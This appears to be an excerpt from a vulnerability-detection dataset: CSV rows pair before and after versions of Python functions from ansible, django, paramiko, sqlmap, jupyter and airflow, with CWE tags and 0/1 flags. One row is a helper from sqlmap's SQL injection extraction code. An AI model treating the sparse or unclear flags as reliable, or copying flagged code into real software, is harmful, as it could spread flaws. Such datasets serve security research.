                #   1. the user has set the 'static' option to false or true
                #   2. one of the appropriate config options was set
                is_static = False
                if 'import_role' in task_ds:
                    is_static = True

                elif ir.static is not None:
                    display.deprecated(""The use of 'static' for 'include_role' has been deprecated. ""
                                       ""Use 'import_role' for static inclusion, or 'include_role' for dynamic inclusion"")
                    is_static = ir.static

                if is_static:
                    if ir.loop is not None:
                        if 'import_tasks' in task_ds:
                            raise AnsibleParserError(""You cannot use loops on 'import_role' statements. You should use 'include_role' instead."", obj=task_ds)
                        else:
                            raise AnsibleParserError(""You cannot use 'static' on an include_role with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    ir.statically_loaded = True

                    # template the role name now, if needed
                    all_vars = variable_manager.get_vars(play=play, task=ir)
                    templar = Templar(loader=loader, variables=all_vars)
                    if templar._contains_vars(ir._role_name):
                        ir._role_name = templar.template(ir._role_name)

                    # uses compiled list from object
                    blocks, _ = ir.get_block_list(variable_manager=variable_manager, loader=loader)
                    t = task_list.extend(blocks)
                else:
                    # passes task object itself for latter generation of list
                    t = task_list.append(ir)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                task_list.append(t)

    return task_list",CWE-703,ansible/ansible,0aa1442c919da7894311d4a5acb4d6e26102ce3c,"def load_list_of_tasks(ds, play, block=None, role=None, task_include=None, use_handlers=False, variable_manager=None, loader=None):
    '''
    Given a list of task datastructures (parsed from YAML),
    return a list of Task() or TaskInclude() objects.
    '''

    # we import here to prevent a circular dependency with imports
    from ansible.playbook.block import Block
    from ansible.playbook.handler import Handler
    from ansible.playbook.task import Task
    from ansible.playbook.task_include import TaskInclude
    from ansible.playbook.role_include import IncludeRole
    from ansible.playbook.handler_task_include import HandlerTaskInclude
    from ansible.template import Templar

    assert isinstance(ds, list), 'The ds (%s) should be a list but was a %s' % (ds, type(ds))

    task_list = []
    for task_ds in ds:
        assert isinstance(task_ds, dict), 'The ds (%s) should be a dict but was a %s' % (ds, type(ds))

        if 'block' in task_ds:
            t = Block.load(
                task_ds,
                play=play,
                parent_block=block,
                role=role,
                task_include=task_include,
                use_handlers=use_handlers,
                variable_manager=variable_manager,
                loader=loader,
            )
            task_list.append(t)
        else:
            if 'include' in task_ds or 'import_tasks' in task_ds or 'include_tasks' in task_ds:
                if 'include' in task_ds:
                    display.deprecated(""The use of 'include' for tasks has been deprecated. ""
                                       ""Use 'import_tasks' for static inclusions or 'include_tasks' for dynamic inclusions"")

                if use_handlers:
                    include_class = HandlerTaskInclude
                else:
                    include_class = TaskInclude

                t = include_class.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader
                )

                all_vars = variable_manager.get_vars(play=play, task=t)
                templar = Templar(loader=loader, variables=all_vars)

                # check to see if this include is dynamic or static:
                # 1. the user has set the 'static' option to false or true
                # 2. one of the appropriate config options was set
                is_static = False
                if 'import_tasks' in task_ds:
                    is_static = True
                elif t.static is not None:
                    display.deprecated(""The use of 'static' has been deprecated. ""
                                       ""Use 'import_tasks' for static inclusion, or 'include_tasks' for dynamic inclusion"")
                    is_static = t.static
                else:
                    is_static = C.DEFAULT_TASK_INCLUDES_STATIC or \
                        (use_handlers and C.DEFAULT_HANDLER_INCLUDES_STATIC) or \
                        (not templar._contains_vars(t.args['_raw_params']) and t.all_parents_static() and not t.loop)

                if is_static:
                    if t.loop is not None:
                        if 'import_tasks' in task_ds:
                            raise AnsibleParserError(""You cannot use loops on 'import_tasks' statements. You should use 'include_tasks' instead."", obj=task_ds)
                        else:
                            raise AnsibleParserError(""You cannot use 'static' on an include with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    t.statically_loaded = True

                    # handle relative includes by walking up the list of parent include
                    # tasks and checking the relative result to see if it exists
                    parent_include = block
                    cumulative_path = None

                    found = False
                    subdir = 'tasks'
                    if use_handlers:
                        subdir = 'handlers'
                    while parent_include is not None:
                        if not isinstance(parent_include, TaskInclude):
                            parent_include = parent_include._parent
                            continue
                        parent_include_dir = os.path.dirname(templar.template(parent_include.args.get('_raw_params')))
                        if cumulative_path is None:
                            cumulative_path = parent_include_dir
                        elif not os.path.isabs(cumulative_path):
                            cumulative_path = os.path.join(parent_include_dir, cumulative_path)
                        include_target = templar.template(t.args['_raw_params'])
                        if t._role:
                            new_basedir = os.path.join(t._role._role_path, subdir, cumulative_path)
                            include_file = loader.path_dwim_relative(new_basedir, subdir, include_target)
                        else:
                            include_file = loader.path_dwim_relative(loader.get_basedir(), cumulative_path, include_target)

                        if os.path.exists(include_file):
                            found = True
                            break
                        else:
                            parent_include = parent_include._parent

                    if not found:
                        try:
                            include_target = templar.template(t.args['_raw_params'])
                        except AnsibleUndefinedVariable as e:
                            raise AnsibleParserError(
                                ""Error when evaluating variable in include name: %s.\n\n""
                                ""When using static includes, ensure that any variables used in their names are defined in vars/vars_files\n""
                                ""or extra-vars passed in from the command line. Static includes cannot use variables from inventory\n""
                                ""sources like group or host vars."" % t.args['_raw_params'],
                                obj=task_ds,
                                suppress_extended_error=True,
                                orig_exc=e)
                        if t._role:
                            include_file = loader.path_dwim_relative(t._role._role_path, subdir, include_target)
                        else:
                            include_file = loader.path_dwim(include_target)

                    try:
                        data = loader.load_from_file(include_file)
                        if data is None:
                            display.warning('file %s is empty and had no tasks to include' % include_file)
                            continue
                        elif not isinstance(data, list):
                            raise AnsibleParserError(""included task files must contain a list of tasks"", obj=data)

                        # since we can't send callbacks here, we display a message directly in
                        # the same fashion used by the on_include callback. We also do it here,
                        # because the recursive nature of helper methods means we may be loading
                        # nested includes, and we want the include order printed correctly
                        display.vv(""statically imported: %s"" % include_file)
                    except AnsibleFileNotFound:
                        if t.static or \
                           C.DEFAULT_TASK_INCLUDES_STATIC or \
                           C.DEFAULT_HANDLER_INCLUDES_STATIC and use_handlers:
                            raise
                        display.deprecated(
                            ""Included file '%s' not found, however since this include is not ""
                            ""explicitly marked as 'static: yes', we will try and include it dynamically ""
                            ""later. In the future, this will be an error unless 'static: no' is used ""
                            ""on the include task. If you do not want missing includes to be considered ""
                            ""dynamic, use 'static: yes' on the include or set the global ansible.cfg ""
                            ""options to make all includes static for tasks and/or handlers"" % include_file, version=""2.7""
                        )
                        task_list.append(t)
                        continue

                    ti_copy = t.copy(exclude_parent=True)
                    ti_copy._parent = block
                    included_blocks = load_list_of_blocks(
                        data,
                        play=play,
                        parent_block=None,
                        task_include=ti_copy,
                        role=role,
                        use_handlers=use_handlers,
                        loader=loader,
                        variable_manager=variable_manager,
                    )

                    # pop tags out of the include args, if they were specified there, and assign
                    # them to the include. If the include already had tags specified, we raise an
                    # error so that users know not to specify them both ways
                    tags = ti_copy.vars.pop('tags', [])
                    if isinstance(tags, string_types):
                        tags = tags.split(',')

                    if len(tags) > 0:
                        if len(ti_copy.tags) > 0:
                            raise AnsibleParserError(
                                ""Include tasks should not specify tags in more than one way (both via args and directly on the task). ""
                                ""Mixing styles in which tags are specified is prohibited for whole import hierarchy, not only for single import statement"",
                                obj=task_ds,
                                suppress_extended_error=True,
                            )
                        display.deprecated(""You should not specify tags in the include parameters. All tags should be specified using the task-level option"",
                                           version=""2.7"")
                    else:
                        tags = ti_copy.tags[:]

                    # now we extend the tags on each of the included blocks
                    for b in included_blocks:
                        b.tags = list(set(b.tags).union(tags))
                    # END FIXME

                    # FIXME: handlers shouldn't need this special handling, but do
                    #        right now because they don't iterate blocks correctly
                    if use_handlers:
                        for b in included_blocks:
                            task_list.extend(b.block)
                    else:
                        task_list.extend(included_blocks)
                else:
                    t.is_static = False
                    task_list.append(t)

            elif 'include_role' in task_ds or 'import_role' in task_ds:
                ir = IncludeRole.load(
                    task_ds,
                    block=block,
                    role=role,
                    task_include=None,
                    variable_manager=variable_manager,
                    loader=loader,
                )

                #   1. the user has set the 'static' option to false or true
                #   2. one of the appropriate config options was set
                is_static = False
                if 'import_role' in task_ds:
                    is_static = True

                elif ir.static is not None:
                    display.deprecated(""The use of 'static' for 'include_role' has been deprecated. ""
                                       ""Use 'import_role' for static inclusion, or 'include_role' for dynamic inclusion"")
                    is_static = ir.static

                if is_static:
                    if ir.loop is not None:
                        if 'import_tasks' in task_ds:
                            raise AnsibleParserError(""You cannot use loops on 'import_role' statements. You should use 'include_role' instead."", obj=task_ds)
                        else:
                            raise AnsibleParserError(""You cannot use 'static' on an include_role with a loop"", obj=task_ds)

                    # we set a flag to indicate this include was static
                    ir.statically_loaded = True

                    # template the role name now, if needed
                    all_vars = variable_manager.get_vars(play=play, task=ir)
                    templar = Templar(loader=loader, variables=all_vars)
                    if templar._contains_vars(ir._role_name):
                        ir._role_name = templar.template(ir._role_name)

                    # uses compiled list from object
                    blocks, _ = ir.get_block_list(variable_manager=variable_manager, loader=loader)
                    t = task_list.extend(blocks)
                else:
                    # passes task object itself for latter generation of list
                    t = task_list.append(ir)
            else:
                if use_handlers:
                    t = Handler.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)
                else:
                    t = Task.load(task_ds, block=block, role=role, task_include=task_include, variable_manager=variable_manager, loader=loader)

                task_list.append(t)

    return task_list"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/transport.py,0,"def _log_agreement(self, which, local, remote):
        # Log useful, non-duplicative line re: an agreed-upon algorithm.
        # Old code implied algorithms could be asymmetrical (different for
        # inbound vs outbound) so we preserve that possibility.
        msg = ""{}: "".format(which)
        if local == remote:
            msg += local
        else:
            msg += ""local={}, remote={}"".format(local, remote)
        self._log(DEBUG, msg)",,paramiko/paramiko,dfffaeaa0170c784307d1c89dad60528a59b6ff2,"def _log_agreement(self, which, local, remote):
        # Log useful, non-duplicative line re: an agreed-upon algorithm.
        # Old code implied algorithms could be asymmetrical (different for
        # inbound vs outbound) so we preserve that possibility.
        msg = ""{} agreed: "".format(which)
        if local == remote:
            msg += local
        else:
            msg += ""local={}, remote={}"".format(local, remote)
        self._log(DEBUG, msg)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,0,"def lookup_allowed(self, lookup, value):
        model = self.model
        # Check FKey lookups that are allowed, so that popups produced by
        # ForeignKeyRawIdWidget, on the basis of ForeignKey.limit_choices_to,
        # are allowed to work.
        for l in model._meta.related_fkey_lookups:
            for k, v in widgets.url_params_from_lookup_dict(l).items():
                if k == lookup and v == value:
                    return True

        parts = lookup.split(LOOKUP_SEP)

        # Last term in lookup is a query term (__exact, __startswith etc)
        # This term can be ignored.
        if len(parts) > 1 and parts[-1] in QUERY_TERMS:
            parts.pop()

        # Special case -- foo__id__exact and foo__id queries are implied
        # if foo has been specificially included in the lookup list; so
        # drop __id if it is the last part. However, first we need to find
        # the pk attribute name.
        rel_name = None
        for part in parts[:-1]:
            try:
                field, _, _, _ = model._meta.get_field_by_name(part)
            except FieldDoesNotExist:
                # Lookups on non-existants fields are ok, since they're ignored
                # later.
                return True
            if hasattr(field, 'rel'):
                model = field.rel.to
                rel_name = field.rel.get_related_field().name
            elif isinstance(field, RelatedObject):
                model = field.model
                rel_name = model._meta.pk.name
            else:
                rel_name = None
        if rel_name and len(parts) > 1 and parts[-1] == rel_name:
            parts.pop()

        if len(parts) == 1:
            return True
        clean_lookup = LOOKUP_SEP.join(parts)
        return clean_lookup in self.list_filter or clean_lookup == self.date_hierarchy",CWE-Unknown,django/django,aafa73db546683edbaefdd17859f2722349e9373,"def lookup_allowed(self, lookup, value):
        model = self.model
        # Check FKey lookups that are allowed, so that popups produced by
        # ForeignKeyRawIdWidget, on the basis of ForeignKey.limit_choices_to,
        # are allowed to work.
        for l in model._meta.related_fkey_lookups:
            for k, v in widgets.url_params_from_lookup_dict(l).items():
                if k == lookup and v == value:
                    return True

        parts = lookup.split(LOOKUP_SEP)

        # Last term in lookup is a query term (__exact, __startswith etc)
        # This term can be ignored.
        if len(parts) > 1 and parts[-1] in QUERY_TERMS:
            parts.pop()

        # Special case -- foo__id__exact and foo__id queries are implied
        # if foo has been specificially included in the lookup list; so
        # drop __id if it is the last part. However, first we need to find
        # the pk attribute name.
        pk_attr_name = None
        for part in parts[:-1]:
            try:
                field, _, _, _ = model._meta.get_field_by_name(part)
            except FieldDoesNotExist:
                # Lookups on non-existants fields are ok, since they're ignored
                # later.
                return True
            if hasattr(field, 'rel'):
                model = field.rel.to
                pk_attr_name = model._meta.pk.name
            elif isinstance(field, RelatedObject):
                model = field.model
                pk_attr_name = model._meta.pk.name
            else:
                pk_attr_name = None
        if pk_attr_name and len(parts) > 1 and parts[-1] == pk_attr_name:
            parts.pop()

        if len(parts) == 1:
            return True
        clean_lookup = LOOKUP_SEP.join(parts)
        return clean_lookup in self.list_filter or clean_lookup == self.date_hierarchy"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/error/use.py,0,"def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None):
    values = []
    origExpr = None

    threadData = getCurrentThreadData()

    for field in expressionFieldsList:
        output = None

        if field.startswith(""ROWNUM ""):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])

        if ""ROWNUM"" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if kb.technique == PAYLOAD.TECHNIQUE.QUERY and Backend.isDbms(DBMS.FIREBIRD) and expressionReplaced.startswith(""SELECT ""):
            expressionReplaced = ""SELECT %s"" % agent.concatQuery(expressionReplaced)

        output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)

        if not kb.threadContinue:
            return None

        if kb.fileReadMode and output and output.strip():
            print
        elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
            logger.info(""%s: %s"" % (""resumed"" if threadData.resumed else ""retrieved"", safecharencode(output)))

        if isinstance(num, int):
            expression = origExpr

        values.append(output)

    return values",,sqlmapproject/sqlmap,c95119559ee473f8d101fdc011c88b3948db96bb,"def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None):
    values = []
    origExpr = None

    threadData = getCurrentThreadData()

    for field in expressionFieldsList:
        output = None

        if field.startswith(""ROWNUM ""):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])

        if ""ROWNUM"" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if isTechniqueAvailable(PAYLOAD.TECHNIQUE.QUERY) and Backend.isDbms(DBMS.FIREBIRD) and expressionReplaced.startswith(""SELECT ""):
            expressionReplaced = ""SELECT %s"" % agent.concatQuery(expressionReplaced)

        output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)

        if not kb.threadContinue:
            return None

        if kb.fileReadMode and output and output.strip():
            print
        elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
            logger.info(""%s: %s"" % (""resumed"" if threadData.resumed else ""retrieved"", safecharencode(output)))

        if isinstance(num, int):
            expression = origExpr

        values.append(output)

    return values"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/utils.py,0,"def check_version(v, check):
    """"""check version string v >= check

    If dev/prerelease tags result in TypeError for string-number comparison,
    it is assumed that the dependency is satisfied.
    Users on dev branches are responsible for keeping their own packages up to date.
    """"""
    try:
        return LooseVersion(v) >= LooseVersion(check)
    except TypeError:
        return True",,jupyter/notebook,bc28d6123117c3c733697e27e9d4bd71d7f0c46b,"def check_version(v, check):
    """"""check version string v >= check

    If dev/prerelease tags result in TypeError for string-number comparison,
    it is assumed that the dependency is satisfied.
    Users on dev branches are responsible for keeping their own packages up to date.
    """"""
    try:
        return LooseVersion(v) >= LooseVersion(check)
    except TypeError:
        return True"
,UNKNOWN,UNKNOWN,tests/models/test_taskinstance.py,1,"def test_handle_failure_no_task(self, Stats_incr, dag_maker):
        """"""
        When a zombie is detected for a DAG with a parse error, we need to be able to run handle_failure
        _without_ ti.task being set
        """"""
        session = settings.Session()
        with dag_maker():
            task = EmptyOperator(task_id=""mytask"", retries=1)
        dr = dag_maker.create_dagrun()
        ti = TI(task=task, run_id=dr.run_id)
        ti = session.merge(ti)
        ti.task = None
        ti.state = State.QUEUED
        session.flush()
        expected_stats_tags = {""dag_id"": ti.dag_id, ""task_id"": ti.task_id}

        assert ti.task is None, ""Check critical pre-condition""

        assert ti.state == State.QUEUED
        assert ti.try_number == 1

        ti.handle_failure(""test queued ti"", test_mode=False)
        assert ti.state == State.UP_FOR_RETRY
        # Assert that 'ti._try_number' is bumped from 0 to 1. This is the last/current try
        assert ti._try_number == 1
        # Check 'ti.try_number' is bumped to 2. This is try_number for next run
        assert ti.try_number == 2

        Stats_incr.assert_any_call(""ti_failures"", tags=expected_stats_tags)
        Stats_incr.assert_any_call(""operator_failures_EmptyOperator"", tags=expected_stats_tags)
        Stats_incr.assert_any_call(
            ""operator_failures"", tags={**expected_stats_tags, ""operator"": ""EmptyOperator""}
        )",CWE-703,apache/airflow,936e7c4755e503cc2a067398e39d485fc8f0984e,"def test_handle_failure_no_task(self, Stats_incr, dag_maker):
        """"""
        When a zombie is detected for a DAG with a parse error, we need to be able to run handle_failure
        _without_ ti.task being set
        """"""
        session = settings.Session()
        with dag_maker():
            task = EmptyOperator(task_id=""mytask"", retries=1)
        dr = dag_maker.create_dagrun()
        ti = TI(task=task, run_id=dr.run_id)
        ti = session.merge(ti)
        ti.task = None
        ti.state = State.QUEUED
        session.flush()
        expected_stats_tags = {""dag_id"": ti.dag_id, ""task_id"": ti.task_id}

        assert ti.task is None, ""Check critical pre-condition""

        assert ti.state == State.QUEUED
        assert ti.try_number == 1

        ti.handle_failure(""test queued ti"", test_mode=False)
        assert ti.state == State.UP_FOR_RETRY
        # Assert that 'ti._try_number' is bumped from 0 to 1. This is the last/current try
        assert ti._try_number == 1
        # Check 'ti.try_number' is bumped to 2. This is try_number for next run
        assert ti.try_number == 2

        Stats_incr.assert_any_call(""ti_failures"", tags=expected_stats_tags)
        Stats_incr.assert_any_call(""operator_failures_EmptyOperator"", tags=expected_stats_tags)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/gis_tests/gdal_tests/test_geom.py,0,"def test_srs_transform(self):
        ""Testing transform().""
        orig = OGRGeometry('POINT (-104.609 38.255)', 4326)
        trans = OGRGeometry('POINT (992385.4472045 481455.4944650)', 2774)

        # Using an srid, a SpatialReference object, and a CoordTransform object
        # or transformations.
        t1, t2, t3 = orig.clone(), orig.clone(), orig.clone()
        t1.transform(trans.srid)
        t2.transform(SpatialReference('EPSG:2774'))
        ct = CoordTransform(SpatialReference('WGS84'), SpatialReference(2774))
        t3.transform(ct)

        # Testing use of the `clone` keyword.
        k1 = orig.clone()
        k2 = k1.transform(trans.srid, clone=True)
        self.assertEqual(k1, orig)
        self.assertNotEqual(k1, k2)

        # Different PROJ versions use different transformations, all are
        # correct as having a 1 meter accuracy.
        prec = -1
        for p in (t1, t2, t3, k2):
            self.assertAlmostEqual(trans.x, p.x, prec)
            self.assertAlmostEqual(trans.y, p.y, prec)",CWE-Unknown,django/django,2cd40263348a9c345a58c44d48922ac3b370a119,"def test_srs_transform(self):
        ""Testing transform().""
        orig = OGRGeometry('POINT (-104.609 38.255)', 4326)
        trans = OGRGeometry('POINT (992385.4472045 481455.4944650)', 2774)

        # Using an srid, a SpatialReference object, and a CoordTransform object
        # or transformations.
        t1, t2, t3 = orig.clone(), orig.clone(), orig.clone()
        t1.transform(trans.srid)
        t2.transform(SpatialReference('EPSG:2774'))
        ct = CoordTransform(SpatialReference('WGS84'), SpatialReference(2774))
        t3.transform(ct)

        # Testing use of the `clone` keyword.
        k1 = orig.clone()
        k2 = k1.transform(trans.srid, clone=True)
        self.assertEqual(k1, orig)
        self.assertNotEqual(k1, k2)

        prec = 3
        for p in (t1, t2, t3, k2):
            self.assertAlmostEqual(trans.x, p.x, prec)
            self.assertAlmostEqual(trans.y, p.y, prec)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/files/file.py,1,"def main():

    module = AnsibleModule(
        argument_spec=dict(
            state=dict(choices=['file', 'directory', 'link', 'hard', 'touch', 'absent'], default=None),
            path=dict(aliases=['dest', 'name'], required=True, type='path'),
            original_basename=dict(required=False),  # Internal use only, for recursive ops
            recurse=dict(default=False, type='bool'),
            force=dict(required=False, default=False, type='bool'),
            follow=dict(required=False, default=True, type='bool'),
            diff_peek=dict(default=None),  # Internal use only, for internal checks in the action plugins
            validate=dict(required=False, default=None),  # Internal use only, for template and copy
            src=dict(required=False, default=None, type='path'),
        ),
        add_file_common_args=True,
        supports_check_mode=True
    )

    params = module.params
    state = params['state']
    recurse = params['recurse']
    force = params['force']
    diff_peek = params['diff_peek']
    src = params['src']
    b_src = to_bytes(src, errors='surrogate_or_strict')
    follow = params['follow']

    # modify source as we later reload and pass, specially relevant when used by other modules.
    path = params['path']
    b_path = to_bytes(path, errors='surrogate_or_strict')

    # short-circuit for diff_peek
    if diff_peek is not None:
        appears_binary = False
        try:
            f = open(b_path, 'rb')
            head = f.read(8192)
            f.close()
            if b(""\x00"") in head:
                appears_binary = True
        except:
            pass
        module.exit_json(path=path, changed=False, appears_binary=appears_binary)

    prev_state = get_state(b_path)

    # state should default to file, but since that creates many conflicts,
    # default to 'current' when it exists.
    if state is None:
        if prev_state != 'absent':
            state = prev_state
        elif recurse:
            state = 'directory'
        else:
            state = 'file'

    # source is both the source of a symlink or an informational passing of the src for a template module
    # or copy module, even if this module never uses it, it is needed to key off some things
    if src is None:
        if state in ('link', 'hard'):
            if follow and state == 'link':
                # use the current target of the link as the source
                src = to_native(os.path.realpath(b_path), errors='strict')
                b_src = to_bytes(os.path.realpath(b_path), errors='strict')
            else:
                module.fail_json(msg='src and dest are required for creating links')

    # original_basename is used by other modules that depend on file.
    if state not in (""link"", ""absent"") and os.path.isdir(b_path):
        basename = None
        if params['original_basename']:
            basename = params['original_basename']
        elif src is not None:
            basename = os.path.basename(src)
        if basename:
            params['path'] = path = os.path.join(path, basename)
            b_path = to_bytes(path, errors='surrogate_or_strict')
            prev_state = get_state(b_path)

    # make sure the target path is a directory when we're doing a recursive operation
    if recurse and state != 'directory':
        module.fail_json(path=path, msg=""recurse option requires state to be 'directory'"")

    file_args = module.load_file_common_arguments(params)

    changed = False
    diff = {'before': {'path': path},
            'after': {'path': path},
            }

    state_change = False
    if prev_state != state:
        diff['before']['state'] = prev_state
        diff['after']['state'] = state
        state_change = True

    if state == 'absent':
        if state_change:
            if not module.check_mode:
                if prev_state == 'directory':
                    try:
                        shutil.rmtree(b_path, ignore_errors=False)
                    except Exception as e:
                        module.fail_json(msg=""rmtree failed: %s"" % to_native(e))
                else:
                    try:
                        os.unlink(b_path)
                    except Exception as e:
                        module.fail_json(path=path, msg=""unlinking failed: %s "" % to_native(e))
            module.exit_json(path=path, changed=True, diff=diff)
        else:
            module.exit_json(path=path, changed=False)

    elif state == 'file':

        if state_change:
            if follow and prev_state == 'link':
                # follow symlink and operate on original
                b_path = os.path.realpath(b_path)
                path = to_native(b_path, errors='strict')
                prev_state = get_state(b_path)
                file_args['path'] = path

        if prev_state not in ('file', 'hard'):
            # file is not absent and any other state is a conflict
            module.fail_json(path=path, msg='file (%s) is %s, cannot continue' % (path, prev_state))

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)
        module.exit_json(path=path, changed=changed, diff=diff)

    elif state == 'directory':
        if follow and prev_state == 'link':
            b_path = os.path.realpath(b_path)
            path = to_native(b_path, errors='strict')
            prev_state = get_state(b_path)

        if prev_state == 'absent':
            if module.check_mode:
                module.exit_json(changed=True, diff=diff)
            changed = True
            curpath = ''

            try:
                # Split the path so we can apply filesystem attributes recursively
                # from the root (/) directory for absolute paths or the base path
                # of a relative path.  We can then walk the appropriate directory
                # path to apply attributes.
                for dirname in path.strip('/').split('/'):
                    curpath = '/'.join([curpath, dirname])
                    # Remove leading slash if we're creating a relative path
                    if not os.path.isabs(path):
                        curpath = curpath.lstrip('/')
                    b_curpath = to_bytes(curpath, errors='surrogate_or_strict')
                    if not os.path.exists(b_curpath):
                        try:
                            os.mkdir(b_curpath)
                        except OSError as ex:
                            # Possibly something else created the dir since the os.path.exists
                            # check above. As long as it's a dir, we don't need to error out.
                            if not (ex.errno == errno.EEXIST and os.path.isdir(b_curpath)):
                                raise
                        tmp_file_args = file_args.copy()
                        tmp_file_args['path'] = curpath
                        changed = module.set_fs_attributes_if_different(tmp_file_args, changed, diff, expand=False)
            except Exception as e:
                module.fail_json(path=path, msg='There was an issue creating %s as requested: %s' % (curpath, to_native(e)))

        # We already know prev_state is not 'absent', therefore it exists in some form.
        elif prev_state != 'directory':
            module.fail_json(path=path, msg='%s already exists as a %s' % (path, prev_state))

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)

        if recurse:
            changed |= recursive_set_attributes(module, to_bytes(file_args['path'], errors='surrogate_or_strict'), follow, file_args)

        module.exit_json(path=path, changed=changed, diff=diff)

    elif state in ('link', 'hard'):

        if not os.path.islink(b_path) and os.path.isdir(b_path):
            relpath = path
        else:
            b_relpath = os.path.dirname(b_path)
            relpath = to_native(b_relpath, errors='strict')

        absrc = os.path.join(relpath, src)
        b_absrc = to_bytes(absrc, errors='surrogate_or_strict')
        if not force and not os.path.exists(b_absrc):
            module.fail_json(path=path, src=src, msg='src file does not exist, use ""force=yes"" if you really want to create the link: %s' % absrc)

        if state == 'hard':
            if not os.path.isabs(b_src):
                module.fail_json(msg=""absolute paths are required"")
        elif prev_state == 'directory':
            if not force:
                module.fail_json(path=path, msg='refusing to convert between %s and %s for %s' % (prev_state, state, path))
            elif os.listdir(b_path):
                # refuse to replace a directory that has files in it
                module.fail_json(path=path, msg='the directory %s is not empty, refusing to convert it' % path)
        elif prev_state in ('file', 'hard') and not force:
            module.fail_json(path=path, msg='refusing to convert between %s and %s for %s' % (prev_state, state, path))

        if prev_state == 'absent':
            changed = True
        elif prev_state == 'link':
            b_old_src = os.readlink(b_path)
            if b_old_src != b_src:
                diff['before']['src'] = to_native(b_old_src, errors='strict')
                diff['after']['src'] = src
                changed = True
        elif prev_state == 'hard':
            if not (state == 'hard' and os.stat(b_path).st_ino == os.stat(b_src).st_ino):
                changed = True
                if not force:
                    module.fail_json(dest=path, src=src, msg='Cannot link, different hard link exists at destination')
        elif prev_state == 'file':
            changed = True
            if not force:
                module.fail_json(dest=path, src=src, msg='Cannot link, %s exists at destination' % prev_state)
        elif prev_state == 'directory':
            changed = True
            if os.path.exists(b_path):
                if state == 'hard' and os.stat(b_path).st_ino == os.stat(b_src).st_ino:
                    module.exit_json(path=path, changed=False)
                elif not force:
                    module.fail_json(dest=path, src=src, msg='Cannot link, different hard link exists at destination')
        else:
            module.fail_json(dest=path, src=src, msg='unexpected position reached')

        if changed and not module.check_mode:
            if prev_state != 'absent':
                # try to replace atomically
                b_tmppath = to_bytes(os.path.sep).join(
                    [os.path.dirname(b_path), to_bytes("".%s.%s.tmp"" % (os.getpid(), time.time()))]
                )
                try:
                    if prev_state == 'directory' and state == 'link':
                        os.rmdir(b_path)
                    elif prev_state == 'directory' and state == 'hard':
                        if os.path.exists(b_path):
                            os.remove(b_path)
                    if state == 'hard':
                        os.link(b_src, b_tmppath)
                    else:
                        os.symlink(b_src, b_tmppath)
                    os.rename(b_tmppath, b_path)
                except OSError as e:
                    if os.path.exists(b_tmppath):
                        os.unlink(b_tmppath)
                    module.fail_json(path=path, msg='Error while replacing: %s' % to_native(e, nonstring='simplerepr'))
            else:
                try:
                    if state == 'hard':
                        os.link(b_src, b_path)
                    else:
                        os.symlink(b_src, b_path)
                except OSError as e:
                    module.fail_json(path=path, msg='Error while linking: %s' % to_native(e, nonstring='simplerepr'))

        if module.check_mode and not os.path.exists(b_path):
            module.exit_json(dest=path, src=src, changed=changed, diff=diff)

        changed = module.set_fs_attributes_if_different(file_args, changed, diff, expand=False)
        module.exit_json(dest=path, src=src, changed=changed, diff=diff)

    elif state == 'touch':
        if not module.check_mode:

            if prev_state == 'absent':
                try:
                    open(b_path, 'wb').close()
                except (OSError, IOError) as e:
                    module.fail_json(path=path, msg='Error, could not touch target: %s' % to_native(e, nonstring='simplerepr'))
            elif prev_state in ('file', 'directory', 'hard'):
                try:
                    os.utime(b_path, None)
                except OSError as e:
                    module.fail_json(path=path, msg='Error while touching existing target: %s' % to_native(e, nonstring='simplerepr'))
            else:
                module.fail_json(msg='Cannot touch other than files, directories, and hardlinks (%s is %s)' % (path, prev_state))
            try:
                module.set_fs_attributes_if_different(file_args, True, diff, expand=False)
            except SystemExit as e:
                if e.code:
                    # We take this to mean that fail_json() was called from
                    # somewhere in basic.py
                    if prev_state == 'absent':
                        # If we just created the file we can safely remove it
                        os.remove(b_path)
                raise e

        module.exit_json(dest=path, changed=True, diff=diff)

    module.fail_json(path=path, msg='unexpected position reached')",CWE-703,ansible/ansible,cd7042857c5ed81223080c51fde1d597a2eeebca,"def main():

    module = AnsibleModule(
        argument_spec=dict(
            state=dict(choices=['file', 'directory', 'link', 'hard', 'touch', 'absent'], default=None),
            path=dict(aliases=['dest', 'name'], required=True, type='path'),
            original_basename=dict(required=False),  # Internal use only, for recursive ops
            recurse=dict(default=False, type='bool'),
            force=dict(required=False, default=False, type='bool'),
            follow=dict(required=False, default=False, type='bool'),
            diff_peek=dict(default=None),  # Internal use only, for internal checks in the action plugins
            validate=dict(required=False, default=None),  # Internal use only, for template and copy
            src=dict(required=False, default=None, type='path'),
        ),
        add_file_common_args=True,
